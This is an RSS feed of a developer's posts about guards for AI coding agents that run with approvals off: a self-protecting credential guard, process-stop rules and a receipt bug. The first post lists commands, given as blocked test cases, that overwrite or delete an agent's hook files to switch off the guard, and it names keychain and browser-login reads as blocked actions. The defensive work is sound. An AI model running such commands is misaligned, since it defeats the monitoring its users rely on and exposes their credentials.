<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Igor Ganapolsky</title>
    <description>The latest articles on DEV Community by Igor Ganapolsky (@igorganapolsky).</description>
    <link>https://dev.to/igorganapolsky</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F63190%2Fa3e089af-f0e9-4fa7-8d8c-e35f7a82bae0.jpg</url>
      <title>DEV Community: Igor Ganapolsky</title>
      <link>https://dev.to/igorganapolsky</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/igorganapolsky"/>
    <language>en</language>
    <item>
      <title>My agent guard blocked its own health check</title>
      <dc:creator>Igor Ganapolsky</dc:creator>
      <pubDate>Thu, 19 Nov 2026 17:05:13 +0000</pubDate>
      <link>https://dev.to/igorganapolsky/my-agent-guard-blocked-its-own-health-check-2kk8</link>
      <guid>https://dev.to/igorganapolsky/my-agent-guard-blocked-its-own-health-check-2kk8</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;I build ThumbGate, a check that runs before every Claude Code, Codex or Cursor tool call and blocks the risky ones. Free install: &lt;code&gt;npx thumbgate init&lt;/code&gt;. Pro is $19/month: &lt;a href="https://thumbgate.ai/pricing?utm_source=devto&amp;amp;utm_medium=article&amp;amp;utm_campaign=daily-2026-11-19" rel="noopener noreferrer"&gt;https://thumbgate.ai/pricing?utm_source=devto&amp;amp;utm_medium=article&amp;amp;utm_campaign=daily-2026-11-19&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I build Mac YOLO Safeguards, a set of guards for AI coding agents that run with approvals turned off. One of them is a credential guard: a hook that Claude Code, Codex and Cursor run before every tool call, and that refuses things like keychain reads and copies of browser login stores. Both it and ThumbGate, my other project, are mine, and this post is about a bug that showed up as soon as the hook was switched on.&lt;/p&gt;

&lt;h2&gt;
  
  
  What happened
&lt;/h2&gt;

&lt;p&gt;The first version of the guard shipped in commit &lt;code&gt;1319269&lt;/code&gt; on 2026-11-19. It includes a rule called &lt;code&gt;guard-config&lt;/code&gt;, whose job is self-protection. An agent must not be able to switch off the thing that is watching it, so the guard refuses install, uninstall and edits to its own settings and to the hook files of each agent.&lt;/p&gt;

&lt;p&gt;With the hook live, the guard's own health check, &lt;code&gt;node tools/mac-yolo-credential-guard.js doctor&lt;/code&gt; run after a &lt;code&gt;cd&lt;/code&gt;, was denied as a guard-config change. So was a grep of &lt;code&gt;~/.claude/settings.json&lt;/code&gt; to see whether the hook was registered. Same rule both times. A read-only look at the guard was being treated as an attack on the guard. The fix is in commit &lt;code&gt;86f295d&lt;/code&gt;, and its message describes both failures.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why it happened
&lt;/h2&gt;

&lt;p&gt;The original check combined two questions about the whole command string. Did the command contain a write-capable operation or an interpreter anywhere? Did it name the guard anywhere? If both answers were yes, deny.&lt;/p&gt;

&lt;p&gt;That sounds careful, and it is, in the way a smoke alarm that goes off when you make toast is careful. &lt;code&gt;node&lt;/code&gt; counts as an interpreter, because an interpreter can write any file it names. The path to the guard file contains the guard's name. So &lt;code&gt;node .../mac-yolo-credential-guard.js doctor&lt;/code&gt; matched both questions without writing a single byte. The grep of the settings file hit the same pair from the other side.&lt;/p&gt;

&lt;p&gt;The deeper problem is the unit of judgment. A command line is not one action. &lt;code&gt;cd /repo &amp;amp;&amp;amp; node tool.js doctor 2&amp;gt;&amp;amp;1 | head -20&lt;/code&gt; is three parts, and what matters is what each part does to which file.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix
&lt;/h2&gt;

&lt;p&gt;The new check, &lt;code&gt;guardConfigWrite&lt;/code&gt; in &lt;code&gt;tools/mac-yolo-credential-guard.js&lt;/code&gt;, splits the command into parts and judges each one. The rules from the commit message:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The guard's own &lt;code&gt;install&lt;/code&gt;, &lt;code&gt;uninstall&lt;/code&gt;, &lt;code&gt;fix&lt;/code&gt; and &lt;code&gt;work-folders add&lt;/code&gt; or &lt;code&gt;remove&lt;/code&gt; are denied. &lt;code&gt;doctor&lt;/code&gt;, &lt;code&gt;check&lt;/code&gt;, &lt;code&gt;work-folders list&lt;/code&gt; and &lt;code&gt;--help&lt;/code&gt; pass.&lt;/li&gt;
&lt;li&gt;A shell write is denied only when its target is a guarded path: the config folder, the installed guard, or an agent's hook file. The target can be a redirect, or the destination of &lt;code&gt;rm&lt;/code&gt;, &lt;code&gt;mv&lt;/code&gt;, &lt;code&gt;ln&lt;/code&gt;, &lt;code&gt;chmod&lt;/code&gt;, &lt;code&gt;sed -i&lt;/code&gt;, &lt;code&gt;jq -i&lt;/code&gt;, &lt;code&gt;tee&lt;/code&gt; or &lt;code&gt;cp&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Paths are resolved through any &lt;code&gt;cd&lt;/code&gt; earlier in the same command, so &lt;code&gt;cd ~/.cursor &amp;amp;&amp;amp; echo {} &amp;gt; hooks.json&lt;/code&gt; is still caught.&lt;/li&gt;
&lt;li&gt;An Edit or Write to a hook file is denied only when it removes the guard's entry. Changing the model name in the same file is fine.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One excerpt shows the shape of it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Redirect targets: `&amp;gt; file`, `&amp;gt;&amp;gt; file`, `2&amp;gt; file` (not `2&amp;gt;&amp;amp;1`).&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="n"&gt;seg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;matchAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;?:^|&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;^&amp;lt;&amp;gt;&amp;amp;&lt;/span&gt;\&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;\&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="o"&gt;?&amp;gt;&amp;gt;?&lt;/span&gt;\&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;\&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;\&lt;span class="no"&gt;S&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nf"&gt;isGuarded&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;DESTRUCTIVE_HEADS&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;has&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;seg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;paths&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;isGuarded&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Interpreters keep a conservative rule. An interpreter can write any file it names, so if one appears in the command and a guarded path is also named, the guard still denies. That is why &lt;code&gt;python3 -c "json.dump({}, open('&amp;lt;hook file&amp;gt;', 'w'))"&lt;/code&gt; is blocked.&lt;/p&gt;

&lt;p&gt;I did not trust myself to get the boundary right by reading it, so the test file &lt;code&gt;tests/test-mac-yolo-credential-guard.js&lt;/code&gt; now holds two lists, added in the same commit. Seventeen read-only commands that must pass, including &lt;code&gt;doctor&lt;/code&gt;, &lt;code&gt;grep&lt;/code&gt; and &lt;code&gt;jq&lt;/code&gt; on the hook files, and fifteen write commands that must be denied, including &lt;code&gt;sed -i&lt;/code&gt; on the settings file, &lt;code&gt;rm ~/.cursor/hooks.json&lt;/code&gt; and the interpreter case above. Both lists run on every change. A guard that blocks too much gets switched off, and a guard that blocks too little is decoration, so each list covers one of those two failures.&lt;/p&gt;

&lt;p&gt;The same commit made &lt;code&gt;--help&lt;/code&gt; exit 0, since a usage screen should not look like a failure.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why it matters if you are not me
&lt;/h2&gt;

&lt;p&gt;If you run agents with approvals off, you will write hooks like this. Two lessons transfer.&lt;/p&gt;

&lt;p&gt;First, a deny rule written against the whole command string will eventually block you. Agents chain commands with &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;, pipes and &lt;code&gt;cd&lt;/code&gt;, and a guard that cannot tell &lt;code&gt;doctor&lt;/code&gt; from &lt;code&gt;uninstall&lt;/code&gt; pushes you toward turning the guard off, which loses everything it was protecting.&lt;/p&gt;

&lt;p&gt;Second, a guard that is too noisy trains you to approve things without reading them. The credential guard's design is also meant to fail safe: commit &lt;code&gt;5bdef17&lt;/code&gt; made a crash inside the guard deny the call, and an invalid settings file only makes it stricter. Those choices only work if the normal path is quiet enough that you leave it on.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to do it yourself
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Split commands into parts before matching. Break on &lt;code&gt;;&lt;/code&gt;, &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;, &lt;code&gt;||&lt;/code&gt; and pipes, and look at the program each part runs, not at words that appear anywhere in the line.&lt;/li&gt;
&lt;li&gt;Track &lt;code&gt;cd&lt;/code&gt;. Resolve relative paths against the working folder the command will have when that part runs.&lt;/li&gt;
&lt;li&gt;Separate reads from writes. Name the write operations you care about (redirects, &lt;code&gt;rm&lt;/code&gt;, &lt;code&gt;mv&lt;/code&gt;, &lt;code&gt;cp&lt;/code&gt; destination, &lt;code&gt;sed -i&lt;/code&gt;, &lt;code&gt;tee&lt;/code&gt;) and check only their targets.&lt;/li&gt;
&lt;li&gt;Keep a conservative fallback for interpreters, since they can do anything, and test that fallback on purpose.&lt;/li&gt;
&lt;li&gt;Write a table of commands that must pass next to the table that must fail. If you only test the denials, your guard will drift toward blocking everything.&lt;/li&gt;
&lt;li&gt;Give every denial one line that says why and what to do instead. A guard that explains itself gets fixed. One that does not gets deleted.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;ThumbGate&lt;/strong&gt; (free): &lt;code&gt;npx thumbgate init&lt;/code&gt;. It installs in under a minute and blocks the mistakes your agent repeats. &lt;a href="https://thumbgate.ai/install?utm_source=devto&amp;amp;utm_medium=article&amp;amp;utm_campaign=daily-2026-11-19" rel="noopener noreferrer"&gt;https://thumbgate.ai/install?utm_source=devto&amp;amp;utm_medium=article&amp;amp;utm_campaign=daily-2026-11-19&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;ThumbGate Pro&lt;/strong&gt; ($19/month): unlimited blocks per day, a dashboard, and recall and search of past lessons. &lt;a href="https://thumbgate.ai/pricing?utm_source=devto&amp;amp;utm_medium=article&amp;amp;utm_campaign=daily-2026-11-19" rel="noopener noreferrer"&gt;https://thumbgate.ai/pricing?utm_source=devto&amp;amp;utm_medium=article&amp;amp;utm_campaign=daily-2026-11-19&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mac YOLO Safeguards&lt;/strong&gt; (free and open source): the credential guard from this post. &lt;a href="https://github.com/IgorGanapolsky/mac-yolo-safeguards" rel="noopener noreferrer"&gt;https://github.com/IgorGanapolsky/mac-yolo-safeguards&lt;/a&gt;. A star helps.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Follow me here for one of these build notes every day.&lt;/p&gt;

</description>
      <category>security</category>
      <category>devtools</category>
      <category>claudecode</category>
      <category>aiagents</category>
    </item>
    <item>
      <title>A stop rule should check what a process is, not what its command line says</title>
      <dc:creator>Igor Ganapolsky</dc:creator>
      <pubDate>Thu, 19 Nov 2026 15:04:57 +0000</pubDate>
      <link>https://dev.to/igorganapolsky/a-stop-rule-should-check-what-a-process-is-not-what-its-command-line-says-4f25</link>
      <guid>https://dev.to/igorganapolsky/a-stop-rule-should-check-what-a-process-is-not-what-its-command-line-says-4f25</guid>
      <description>&lt;p&gt;Our guard decides what an AI coding agent leaves behind on a Mac and what it can safely stop. To do that it labels every running process: MCP server, Codex session, Claude session, and so on. The label comes from a pattern match over the whole command line. That is the right tool for protection, because we would rather spare a process by mistake than kill a live agent. It turned out to be the wrong tool for stopping one.&lt;/p&gt;

&lt;h2&gt;
  
  
  What broke
&lt;/h2&gt;

&lt;p&gt;One of the rules looks for orphaned MCP servers. A process qualifies if its parent is PID 1, it is at least ten minutes old, and several copies of the same command line are running. The newest copy is kept and the older ones are the extras the guard can stop.&lt;/p&gt;

&lt;p&gt;The label for "MCP server" is a text match. So this line gets it too:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 -m pytest tests/test_mcp_client.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is a test run. Nothing in it is a server. But it contains "mcp", the label says mcp-server, and a test run that was started three times and left behind by a dead terminal looks exactly like an orphaned server with duplicates.&lt;/p&gt;

&lt;p&gt;I reproduced it against the guard as it was before the fix. I fed it three copies of that line, all with parent PID 1, aged 10, 5 and 1 hours. The old guard picked the two oldest as extras to stop. The fixed guard picks none.&lt;/p&gt;

&lt;p&gt;The same label fed three other stop decisions: which processes count as a Codex session root, which count as a Claude CLI session root, and whether a session is idle. I ran that one against the old guard too: a Codex session whose only child was the pytest line above was judged long-idle and eligible to end, because the child counted as idle plumbing. The fixed guard treats the test run as work and spares the session.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix
&lt;/h2&gt;

&lt;p&gt;We left the label alone, because protection has to stay as broad as it was. Instead, every rule that can signal a process because of its label now also asks one more question: is the process's own program that kind of thing?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;ownsKind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;kind&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;exe&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;agentExecutable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;kind&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="s1"&gt;'mcp-server'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;ownsMcpServer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;kind&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="s1"&gt;'claude-cli'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;exe&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="s1"&gt;'claude'&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;exe&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="s1"&gt;'claude.exe'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;kind&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="s1"&gt;'codex'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;exe&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="s1"&gt;'codex'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;"Own program" means the first word of the command, or, when the first word is a launcher like node, python, uv or npx, the script, module or package it runs. &lt;code&gt;python3 -m pytest ...&lt;/code&gt; runs pytest, so it is not an MCP server however many times "mcp" appears after it. &lt;code&gt;python3 -m dayglass mcp&lt;/code&gt; and &lt;code&gt;npx -y @scope/foo-mcp&lt;/code&gt; still qualify, because the thing being run is the server. If the shape is one the code cannot read, the answer is false and the process is spared. Failing toward "leave it alone" is the whole point.&lt;/p&gt;

&lt;h2&gt;
  
  
  How we checked we did not make the guard blind
&lt;/h2&gt;

&lt;p&gt;A fix like this can quietly narrow protection or stop recognising real servers, so the PR checked both directions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A new test feeds eleven lines that only mention an agent (pytest, grep, vim, tail, a watcher script) to every stop rule and expects none to be picked. On the old guard it fails with &lt;code&gt;orphan rule must not pick: python3 -m pytest tests/test_mcp_client.py&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The same test feeds eleven real server shapes, including a Python framework binary, &lt;code&gt;claude mcp serve&lt;/code&gt; and a uv-managed &lt;code&gt;python -m&lt;/code&gt; server, and expects the older duplicates to still be found.&lt;/li&gt;
&lt;li&gt;The functions that protect processes were not edited. The pull request reports that 31 fixture lines and a full process snapshot gave identical protection answers before and after, with no differences.&lt;/li&gt;
&lt;li&gt;On a snapshot of that Mac with 1,356 processes, 69 carried an agent label before the change. After it, 68 passed the stricter check. The one that dropped was a &lt;code&gt;zsh -c source ...&lt;/code&gt; shell wrapper, which is not a server.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What to check on your own machine
&lt;/h2&gt;

&lt;p&gt;If you run a cleanup script, a watchdog or a "kill the stale agents" alias, look at how it picks its targets. A &lt;code&gt;grep mcp&lt;/code&gt; or &lt;code&gt;pkill -f codex&lt;/code&gt; matches the whole command line, so it also matches your editor with a file called &lt;code&gt;notes-about-codex.md&lt;/code&gt;, your test runner, and your &lt;code&gt;tail -f&lt;/code&gt; on a log. Compare what the pattern matches against the program each process is actually running:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ps -axo pid,ppid,etime,command &lt;span class="o"&gt;|&lt;/span&gt; grep -i mcp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Anything whose own program is not the thing you meant to stop should not be on the kill list. Text matching is fine for deciding what to protect. Before you stop anything, check what the program is.&lt;/p&gt;

&lt;p&gt;Mac YOLO Safeguards is the Mac app this guard ships in. Downloads and the issue forms are here: &lt;a href="https://github.com/IgorGanapolsky/mac-yolo-safeguards-releases" rel="noopener noreferrer"&gt;https://github.com/IgorGanapolsky/mac-yolo-safeguards-releases&lt;/a&gt;&lt;/p&gt;

</description>
      <category>macos</category>
      <category>ai</category>
      <category>security</category>
      <category>opensource</category>
    </item>
    <item>
      <title>A receipt that says "nothing was changed" has to be true</title>
      <dc:creator>Igor Ganapolsky</dc:creator>
      <pubDate>Wed, 18 Nov 2026 15:04:34 +0000</pubDate>
      <link>https://dev.to/igorganapolsky/a-receipt-that-says-nothing-was-changed-has-to-be-true-211m</link>
      <guid>https://dev.to/igorganapolsky/a-receipt-that-says-nothing-was-changed-has-to-be-true-211m</guid>
      <description>&lt;p&gt;Our Mac menu bar app has two buttons, Free Agent RAM and Stop Runaways. Each one runs a small Node.js script that finds agent processes eating memory or CPU, and stops them. When the script finishes, the app shows a receipt that lists what it did.&lt;/p&gt;

&lt;p&gt;If Node.js isn't installed, the script can't run. The app handles that: it shows "Couldn't free agent memory" and says what went wrong. Before the 1.2.10 release it also did something else first. It ran &lt;code&gt;xcrun simctl shutdown all&lt;/code&gt;, which shuts down every simulator on the Mac.&lt;/p&gt;

&lt;p&gt;The order was the bug. In both button handlers, the call that shuts down simulators sat above the check for whether Node.js had run. A person without Node.js would click the button, see "Nothing was changed", and have every running simulator shut down anyway. The receipt was false. Nothing in the app could have told them otherwise, because the shutdown happened before the app looked at the result.&lt;/p&gt;

&lt;p&gt;The change was moving one line below the check. This is the shape of it in the Swift handler for Free Agent RAM:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="nc"&gt;DispatchQueue&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;guard&lt;/span&gt; &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="kc"&gt;self&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;self&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;   &lt;span class="kc"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;reapSimulators&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;guard&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ran&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kc"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;showProblem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"toolProblem"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"Couldn't free agent memory"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;problem&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;problem&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="s2"&gt;"Unknown error."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;   &lt;span class="kc"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;reapSimulators&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Stop Runaways got the same edit. With Node.js installed, behaviour is unchanged.&lt;/p&gt;

&lt;p&gt;The fix is one line, but the lesson is about what keeps it fixed. Anyone who later adds a "quick cleanup" call above that guard puts the bug back, and no ordinary unit test sees it, because these handlers need AppKit to run. So the test reads the Swift source. For each of the two actions it takes everything before the &lt;code&gt;guard run.ran else&lt;/code&gt; line and checks three things:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Nothing in that stretch mentions &lt;code&gt;reapSimulators&lt;/code&gt;, whether as a call, a value or an alias.&lt;/li&gt;
&lt;li&gt;Any other call made there is on a short allow-list, and each entry on it has to be shown not to change the Mac before it is added.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;reapSimulators&lt;/code&gt; still appears after the guard, so the fix can't be "delete the shutdown".&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The third check matters more than it looks. A test that only says "no shutdown before the guard" passes happily if someone deletes the shutdown entirely.&lt;/p&gt;

&lt;p&gt;We ran the new test against the file from the commit before the fix. It fails with &lt;code&gt;freeAgentRam mentions reapSimulators before the Node.js guard&lt;/code&gt;. Against the fixed file it prints &lt;code&gt;PASS (2/2 actions)&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If you build a tool that does something and then reports what it did, check your own code for the same pattern:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Find every place you show "nothing changed", "no action needed" or an empty receipt.&lt;/li&gt;
&lt;li&gt;Look at what runs before the check that decides that message. Anything with a side effect that sits above the check can make the message wrong.&lt;/li&gt;
&lt;li&gt;Put the side effects after the check that proves the tool ran, and add a test that fails if they move back.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The app is open source and the guard code is public: &lt;a href="https://github.com/IgorGanapolsky/mac-yolo-safeguards" rel="noopener noreferrer"&gt;https://github.com/IgorGanapolsky/mac-yolo-safeguards&lt;/a&gt;&lt;/p&gt;

</description>
      <category>macos</category>
      <category>ai</category>
      <category>swift</category>
      <category>opensource</category>
    </item>
    <item>
      <title>My memory guard watched one process grow to 268 GB and did nothing, because it trusted the agent</title>
